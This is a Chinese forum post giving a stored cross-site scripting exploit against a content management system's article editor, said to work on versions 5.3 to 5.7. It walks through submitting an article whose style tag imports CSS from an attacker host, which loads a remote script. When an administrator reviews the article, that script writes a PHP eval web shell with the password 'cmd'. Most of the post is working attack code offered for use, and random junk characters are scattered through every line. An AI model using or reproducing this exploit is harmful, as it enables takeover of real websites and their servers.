<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell1 {! q1 Q9 I) x% b/ ^1 j9 m, ]7 k5 i. Y
为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)$ p1 n6 _1 q; R5 ~
目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。2 f! [; ]. l- H! T1 g3 K7 C
下面说说利用方法。6 o5 I7 F* ?# ~9 [7 I( x, m
条件有2个:
3 S- ?1 }2 A, a {* Z/ U6 G1.开启注册2 ^, T+ J1 ]! |4 h
2.开启投稿
, P- r2 J* O2 w注册会员----发表文章
+ D* e# s9 E6 Z1 f( l; C2 k内容填写:
/ o8 {/ j3 N: i' Z1 @. Q0 y7 }复制代码
4 V( e+ n2 b8 U* ?' o1 {, }<style>@im\port'\http://xxx.com/xss.css';</style>
, c! G/ S( D! f- X0 ~& Q# Z新建XSS.Css% G9 t/ @, N% ]3 q' y$ K( @# [3 ?
复制代码9 |8 g/ @4 I/ C* J+ I( A S
.body{
" u4 e* O6 N8 Q8 ^0 hbackground-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }
, t; y% m: v3 h% U; {$ ?新建xss.js 内容为
5 [/ \# S# A! K6 ]复制代码9 o7 |$ b% y; d; f
1.var request = false;
$ G' Y, w) N+ J; }2.if(window.XMLHttpRequest) {7 Y- k5 Y; g( }" W ^9 D
3.request = new XMLHttpRequest();
Q/ W% y8 \8 I$ @. a1 t2 W4.if(request.overrideMimeType) {
% B- ^1 g2 l9 {2 Z! N r5.request.overrideMimeType('text/xml');, P2 y0 j) e$ z0 E" t1 d; Y+ @6 P
6.}
0 ?0 ~& e( L3 f; @2 ^& a3 ]0 U# c4 m7.} else if(window.ActiveXObject) {' K& @8 e% k& O1 i* Y5 u
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];& q. O: r& z. |, U( p7 v
9.for(var i=0; i<versions.length; i++) {5 U+ A F$ D3 ]* H, W [
10.try {) N: K9 ~( C( H! g, M2 f2 Y" `) V
11.request = new ActiveXObject(versions);
$ `9 n! |+ d1 F% H, p" x( j12.} catch(e) {}
4 w& l- F; K/ K% K! _# K: j13.}
( A+ j: ~1 y5 h) B6 K8 T$ v9 u14.}
/ {, _" t) k( \' t9 U15.xmlhttp=request;
6 J% R9 m6 V7 F5 w16.function getFolder( url ){
* O: A, t# O1 [5 r C17. obj = url.split('/')- W! r7 J' [9 [+ j+ `1 R
18. return obj[obj.length-2]
+ C+ S* h9 d; \* v: l- O19.}
& V2 w3 ~! @& Q x# z3 |/ P$ |20.oUrl = top.location.href;
# U2 C, }: y2 k% S3 T: T% H4 z21.u = getFolder(oUrl);
: T) g7 ~, t; D+ l9 u22.add_admin();
2 x, c8 z, f7 W B3 W. A) ]; A23.function add_admin(){
5 |, F7 L. V9 [$ {, Q) c! `& L24.var url= "/"+u+"/sys_sql_query.php";; Y* }! C" E# t# L: q1 e. l \/ }! D
25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
M, g" B$ \8 E* Y26.xmlhttp.open("POST", url, true);' w P0 ?( n/ j% s) m# x, @# p
27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");; {) M# Y, r! X% j( Z
28.xmlhttp.setRequestHeader("Content-length", params.length);% D- e# X6 q7 {& A* N- A$ R
29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
, e# D' h* [- B2 ?; s" C) s( P% z30.xmlhttp.send(params);& J, l* _- q1 P
31.}: c+ q+ |5 n* v
当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd |